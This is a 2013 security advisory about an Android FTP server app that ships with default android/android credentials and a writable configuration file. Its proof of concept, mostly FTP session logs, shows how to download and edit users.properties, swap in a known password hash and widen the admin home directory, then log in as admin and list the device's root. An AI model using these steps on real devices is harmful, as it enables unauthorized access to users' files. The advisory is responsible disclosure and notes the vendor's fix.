Remote access to Android ftp server 1.2 configuration file allows login as admin Date: 9/7/2013 Author: Larry W. Cashdollar, @_larry0 Download: http://www.amazon.com/888bid-com-Android-FTP-Server/dp/B00COVVAZM/ref=sr_1_1?s=mobile-apps Description: "Transfer files between Android devices and computers without a USB cable and Windows software driver. Transfer files to and from your Android device over the Internet. Use Windows Explorer to transfer files between your Android device and your computer by drag and drop. You can add additional users with read only permission for download, and read and write permission for both upload and download." Vulnerability: Software installs with default user credentials android/android. This allows remote attackers to trivially gain access to the devices storage. ftp server exposes configuration file and allows read/write. Allowing a remote user to overwrite the credentials for admin login giving further access to the file system on the device. The application is sandboxed however so impact is limited. PoC: Edit the users.properties file and re-upload. Connected to 192.168.0.29. 220 Service ready for new user. Name (192.168.0.29:larry): android 331 User name okay, need password for android. Password: 230 User logged in, proceed. Remote system type is UNIX. ftp> cd ftpConfig 250 Directory changed to /ftpConfig ftp> ls 229 Entering Passive Mode (|||49825|) 150 File status okay; about to open data connection. -rw------- 1 user group 679 Sep 7 16:37 users.properties 226 Closing data connection. ftp> get users.properties local: users.properties remote: users.properties 229 Entering Passive Mode (|||59616|) 150 File status okay; about to open data connection. 100% |********************************************| 695 9.60 MiB/s --:-- ETA 226 Transfer complete. 695 bytes received in 00:00 (121.85 KiB/s) ftp> If we take a look at the users.properties file: #Generated file - don't edit (please) #Sat Sep 07 16:13:44 EDT 2013 ftpserver.user.android.enableflag=true ftpserver.user.admin.maxloginnumber=0 ftpserver.user.android.writepermission=true ftpserver.user.android.idletime=0 ftpserver.user.admin.homedirectory=/mnt/sdcard <-change to / ftpserver.user.admin.writepermission=true ftpserver.user.admin.maxloginperip=0 ftpserver.user.android.homedirectory=/sdcard ftpserver.user.admin.userpassword=21232F297A57A5A743894A0E4A801FC3 <- replace with 23594328\:070A6394BF17CD0A401F12ACC021714F 'android' password [1] ftpserver.user.admin.downloadrate=0 ftpserver.user.admin.enableflag=true ftpserver.user.admin.idletime=0 ftpserver.user.admin.uploadrate=0 ftpserver.user.android.userpassword=23594328\:070A6394BF17CD0A401F12ACC021714F upload file as android/android user to ftpConfig/users.properties The next time the ftp server is started (on/off button in app interface) you can login as admin. login as admin/android ftp> user admin 331 User name okay, need password for admin. Password: 230 User logged in, proceed. Remote system type is UNIX. ftp> dir 229 Entering Passive Mode (|||52585|) 150 File status okay; about to open data connection. dr-x------ 3 user group 0 Jul 11 20:09 acct d--x------ 3 user group 0 Aug 17 09:09 cache d--x------ 3 user group 0 Jul 11 20:09 config dr-x------ 3 user group 0 Dec 31 1969 d d--x------ 3 user group 0 Sep 16 2012 data dr-x------ 3 user group 0 Jul 11 20:15 dev d--x------ 3 user group 0 Sep 2 14:07 dropbox dr-x------ 3 user group 0 Mar 29 13:48 etc dr-x------ 3 user group 0 Jul 11 20:09 mnt dr-x------ 3 user group 0 Dec 31 1969 proc d--x------ 3 user group 0 Feb 26 2013 root d--x------ 3 user group 0 Dec 31 1969 sbin drwx------ 3 user group 0 Sep 7 15:09 sdcard dr-x------ 3 user group 0 Jul 11 20:09 sys dr-x------ 3 user group 0 Mar 29 13:49 system dr-x------ 3 user group 0 Mar 29 13:49 vendor -r-------- 1 user group 118 Dec 31 1969 default.prop ---------- 1 user group 94200 Dec 31 1969 init ---------- 1 user group 1677 Dec 31 1969 init.goldfish.rc ---------- 1 user group 11658 Dec 31 1969 init.omap4430.rc ---------- 1 user group 14869 Dec 31 1969 init.rc -r-------- 1 user group 0 Dec 31 1969 ueventd.goldfish.rc -r-------- 1 user group 840 Dec 31 1969 ueventd.omap4430.rc -r-------- 1 user group 4203 Dec 31 1969 ueventd.rc 226 Closing data connection. ftp> Tested on kindle fire & droid bionic. [1] MD5 of admin, http://www.md5-hash.com/md5-hashing-decrypt/21232f297a57a5a743894a0e4a801fc3 but didn't allow me to login when I used admin/admin. Vendor: notified 9/10/2013, fixed in v1.32.